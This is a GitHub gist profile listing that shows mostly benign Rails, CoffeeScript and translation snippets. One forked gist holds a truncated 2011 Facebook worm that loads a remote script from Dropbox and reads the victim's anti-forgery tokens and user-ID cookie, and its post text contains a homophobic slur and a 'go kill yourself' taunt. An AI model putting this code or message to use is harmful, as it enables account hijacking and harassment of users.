Skip to content

Instantly share code, notes, and snippets.

View amrnt's full-sized avatar

Amr Tamimi amrnt

View GitHub Profile
.field{:class => field.name}
= label_tag "#{field.abstract_model.to_param}_#{field.name}", field.label
.input
- if field.bindings[:object].send("#{field.name}_url")
.row
= link_to field.bindings[:object].send("#{field.name}_url")
%br
= form.check_box "remove_#{field.name}"
= form.label "remove_#{field.name}", "Remove existing #{field.label.downcase}", :class => "inline"
.row
Started GET "/admin/categories" for 127.0.0.1 at Fri Apr 01 20:16:52 +0300 2011
Processing by RailsAdmin::MainController#list as HTML
Parameters: {"model_name"=>"categories"}
User Load (0.2ms) SELECT "users".* FROM "users" WHERE "users"."id" = 1 LIMIT 1
SQL (0.2ms) SELECT COUNT(*) FROM "categories"
Category Load (0.2ms) SELECT "categories".* FROM "categories" ORDER BY id desc LIMIT 20 OFFSET 0
CACHE (0.0ms) SELECT COUNT(*) FROM "categories"
Rendered /Users/amr/.rvm/gems/ree-1.8.7-2011.03@rails3/bundler/gems/rails_admin-64d6b8655d26/app/views/layouts/rails_admin/_flash.html.erb (0.5ms)
Rendered /Users/amr/.rvm/gems/ree-1.8.7-2011.03@rails3/bundler/gems/rails_admin-64d6b8655d26/app/views/layouts/rails_admin/_head.html.erb (3.0ms)
SQL (0.3ms) SELECT name
# Additional translations at http://github.com/plataformatec/devise/wiki/I18n
ar:
errors:
messages:
expired: "لقد انتهى ، الرجاء طلب واحد جديد" # or "لقد انتهت ، الرجاء طلب واحدة جديدة"
not_found: "غير موجود"
already_confirmed: "was already confirmed, please try signing in"
not_locked: "was not locked"
not_saved:
@amrnt
amrnt / file1.txt
Created May 1, 2011 15:42
the description for this gist
String file contents
@amrnt
amrnt / rails.validations.js.coffee
Created May 6, 2011 16:13
Rails 3 Client Side Validations - CoffeeScript
###
* Rails 3 Client Side Validations - v3.0.4
* https://github.com/bcardarlela/client_side_validations
*
* Copyright (c) 2011 Brian Cardarella
* Licensed under the MIT license
* http://www.opensource.org/licenses/mit-license.php
*
* CoffeeScript Version is by Amr Numan Tamimi - v3.0.4.CoffeeScript
###
@amrnt
amrnt / facebook_hack.js
Created May 12, 2011 07:13 — forked from tysonmote/facebook_hack.js
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
ROOT
assets/
javascripts/
application.js
biz.js.coffee
bar.js.coffee
stylesheets/
application.css
baz.css.scss
foo.css.scss
@amrnt
amrnt / gist:982773
Created May 20, 2011 11:44 — forked from dhh/gist:981520
bulk api
# Bulk API design
#
# resources :posts
class PostsController < ActiveController::Base
# GET /posts/1,4,50,90
# post_url([ @post, @post ])
def show_many
@posts = Post.find(params[:ids])
end
@amrnt
amrnt / gist:1114495
Created July 29, 2011 19:00 — forked from tomlea/gist:207938
This is very rough and ready.
require "net/http"
# Example Usage:
#
# use Rack::Proxy do |req|
# if req.path =~ %r{^/remote/service.php$}
# URI.parse("http://remote-service-provider.com/service-end-point.php?#{req.query}")
# end
# end
#